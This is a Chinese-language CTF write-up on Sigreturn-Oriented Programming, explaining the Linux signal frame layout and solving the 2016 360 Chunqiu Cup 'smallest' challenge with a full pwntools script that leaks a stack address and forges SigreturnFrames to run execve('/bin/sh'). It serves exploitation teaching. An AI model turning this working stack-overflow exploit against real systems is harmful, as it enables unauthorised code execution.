0x0 原理
signal机制是 类unix系统中进程之间传递信息的一种方法,也称之为 软中断信号,或 软中断。整个中断过程如下:
内存向进程发送 signal信号,进程就会被挂起,进入内核态。
内核会用将当前进程的 寄存器值、signal信息和指向 sigretrun的系统调用地址压入栈中,这几部分信息也叫做 ucontext以及siginfo,而保存这些信息的栈位于用户空间中。之后就会跳转到注册过得 signal handler中处理相应的 signal。在 signal handler执行完毕就会执行 sigreturn。栈中的布局大概如下:
x86 的
sigcontext
结构体:struct sigcontext { unsigned short gs, __gsh; unsigned short fs, __fsh; unsigned short es, __esh; unsigned short ds, __dsh; unsigned long edi; unsigned long esi; unsigned long ebp; unsigned long esp; unsigned long ebx; unsigned long edx; unsigned long ecx; unsigned long eax; unsigned long trapno; unsigned long err; unsigned long eip; unsigned short cs, __csh; unsigned long eflags; unsigned long esp_at_signal; unsigned short ss, __ssh; struct _fpstate * fpstate; unsigned long oldmask; unsigned long cr2; };
x64的
sigcontext
结构体:struct _fpstate { /* FPU environment matching the 64-bit FXSAVE layout. */ __uint16_t cwd; __uint16_t swd; __uint16_t ftw; __uint16_t fop; __uint64_t rip; __uint64_t rdp; __uint32_t mxcsr; __uint32_t mxcr_mask; struct _fpxreg _st[8]; struct _xmmreg _xmm[16]; __uint32_t padding[24]; }; struct sigcontext { __uint64_t r8; __uint64_t r9; __uint64_t r10; __uint64_t r11; __uint64_t r12; __uint64_t r13; __uint64_t r14; __uint64_t r15; __uint64_t rdi; __uint64_t rsi; __uint64_t rbp; __uint64_t rbx; __uint64_t rdx; __uint64_t rax; __uint64_t rcx; __uint64_t rsp; __uint64_t rip; __uint64_t eflags; unsigned short cs; unsigned short gs; unsigned short fs; unsigned short __pad0; __uint64_t err; __uint64_t trapno; __uint64_t oldmask; __uint64_t cr2; __extension__ union { struct _fpstate * fpstate; __uint64_t __fpstate_word; }; __uint64_t __reserved1 [8]; };
- 内核执行 sigretrun时恢复之前保存的进程上下文,就是将栈中的数据 pop回对应的寄存器,最后恢复到用户态下的进程执行。x86下 sigretrun的系统调用号为 77,x64下为 15。
(1)利用
以x64架构举例\textcolor{green}{以x64架构举例}以x64架构举例
因为软信号中断过程中的进程上下文是保存在用户栈中的,所以如果程序存在栈溢出黑客就能够控制sigcontext
结构体,从而实现另一种劫持程序流的目的。一种形式就是 getshell,只要在栈中构造好如下图所示的数据即可在触发 sigreturn之后 getshell!
很多情况下可能需要的是通过这种控制软中断的方式去执行一系列的函数,这时候需要做出两处修改:
- 控制栈的指针。
- 把原来的 rip指向的 syscall gadget换成 syscall; ret gadget。
这一些列的操作可用下图表示为:
(2)条件
- 能够控制栈的数据
- 能够泄露相关地址:
- syscall; ret
- filename
- buf
- …
0x1 实战
【来源】:2016-360春秋杯
【环境】:Ubuntu16.04-amd64
(1)分析
程序开启的保护:
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
整个程序短小精悍,应该是用汇编代码写的
.text:00000000004000B0 public start
.text:00000000004000B0 start proc near ; DATA XREF: LOAD:0000000000400018↑o
.text:00000000004000B0 xor rax, rax
.text:00000000004000B3 mov edx, 400h ; count
.text:00000000004000B8 mov rsi, rsp ; buf
.text:00000000004000BB mov rdi, rax ; fd
.text:00000000004000BE syscall ; LINUX - sys_read
.text:00000000004000C0 retn
.text:00000000004000C0 start endp
.text:00000000004000C0
.text:00000000004000C0 _text ends
.text:00000000004000C0
.text:00000000004000C0
.text:00000000004000C0 end start
程序就一个功能,向栈中读取 0x400个字节的数据,毫无疑问这一定是会溢出的,程序一开始并没有建立栈的操作,该程序栈的大小就是 0。也就是说,输入的第一个 8字节数据将作为该函数的返回地址。
想要在这种情况下利用栈溢出 getshell,自然是想到软中断的利用方式,并且这里是完全符合条件的:已知 syscall;ret\textcolor{orange}{syscall;ret}syscall;ret的地址,也可以泄露想要的地址,例如栈地址,只是稍微需要转个弯。
我们知道可以调用 1号系统调用,也就是write()\textcolor{cornflowerblue}{write()}write()向标准输出流打印某个内存数据,这就需要控制 rax=1,rsi=某个内存地址,rdx=输出大小\textcolor{orange}{rax = 1,rsi = 某个内存地址,rdx = 输出大小}rax=1,rsi=某个内存地址,rdx=输出大小,观察程序中的代码,只有 rax不满足条件,所以需要使 rax=1\textcolor{orange}{rax=1}rax=1才能泄露内存。同时我们也知道,read()\textcolor{cornflowerblue}{read()}read()函数的返回值就是读取的字节数,保存在 rax中,所以可以利用这个特点去控制 rax的值。
于是可以构造这么一个 ropchain:
ret_addr=0x4000B0
syscall_addr=0x4000BE
pay=p64(ret_addr)*3
p.send(pay)
作用就是让程序重新执行三次,然后我们分别在这 3次输入中完成整个 getshell的过程。3个过程如下:
- 输入一个字节 0xB3,使得 rax的值为 1,同时也完成了对write()\textcolor{cornflowerblue}{write()}write()函数的传参,这一轮结束将会调用write()\textcolor{cornflowerblue}{write()}write()打印出栈中 0x400个字节数据。我们来看看这一轮经历的过程,首先是没有输入之前占中的数据:
输入一个字节 0xB3之后:
程序最后返回的地址就变成了 0x4000B3
-
在指定栈中构造
SigreturnFrame
结构体,代码:sf=SigreturnFrame() sf.rax = constants.SYS_read sf.rsi = stack sf.rdi = 0 sf.rdx = 0x400 sf.rsp = stack sf.rip = syscall_addr pay=p64(ret_addr)+'a'*8+str(sf) p.send(pay)
SigreturnFrame
类是 pwntools自带的,大大简化了自己构造的难度。这一步是提前为第 4步做准备的,这一步执行完后栈中的数据如下:
-
控制rax=15\textcolor{orange}{rax=15}rax=15,调用syscall\textcolor{cornflowerblue}{syscall}syscall触发sigretrun\textcolor{cornflowerblue}{sigretrun}sigretrun去执行read()\textcolor{cornflowerblue}{read()}read(),向指定栈中写入 **“/bin/sh”**字符串。因为源程序的read\textcolor{cornflowerblue}{read}read不能向任意栈地址写入数据,所以这里需要通过软中断去实现向任意栈地址写任意值。
p.send(p64(syscall_addr)+'a'*7)
在完成了上面 3个过程之后正式进入到软中断环节,最后再构造一个SigreturnFrame
用于执行execve()\textcolor{cornflowerblue}{execve()}execve()。
sf.rax = constants.SYS_execve
sf.rdi = stack+0x150
sf.rsi = 0
sf.rdx = 0
sf.rsp = stack
sf.rip = syscall_addr
pay=p64(ret_addr)+'a'*8+str(sf)
pay = pay+(0x150-len(pay))*'\x00'+'/bin/sh\x00'
p.send(pay)
在最后一次输入的时候用相同的方式触发软中断即可 getshell!
(2)POC
#coding=utf8
from pwn import*
context.arch='amd64'
context.log_level=1
p=process('./smallest')
ret_addr=0x4000B0
syscall_addr=0x4000BE
pay=p64(ret_addr)*3
p.send(pay)
p.send('\xB3')
stack=u64(p.recv()[0x10:0x17].ljust(8,'\x00'))
info("stack:"+hex(stack))
sf=SigreturnFrame()
sf.rax = constants.SYS_read
sf.rsi = stack
sf.rdi = 0
sf.rdx = 0x400
sf.rsp = stack
sf.rip = syscall_addr
pay=p64(ret_addr)+'a'*8+str(sf)
p.send(pay)
p.send(p64(syscall_addr)+'a'*7)
sf.rax = constants.SYS_execve
sf.rdi = stack+0x150
sf.rsi = 0
sf.rdx = 0
sf.rsp = stack
sf.rip = syscall_addr
pay=p64(ret_addr)+'a'*8+str(sf)
pay = pay+(0x150-len(pay))*'\x00'+'/bin/sh\x00'
p.send(pay)
p.send(p64(syscall_addr)+'a'*7 )
p.interactive()
0x2 参考
[1] https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop/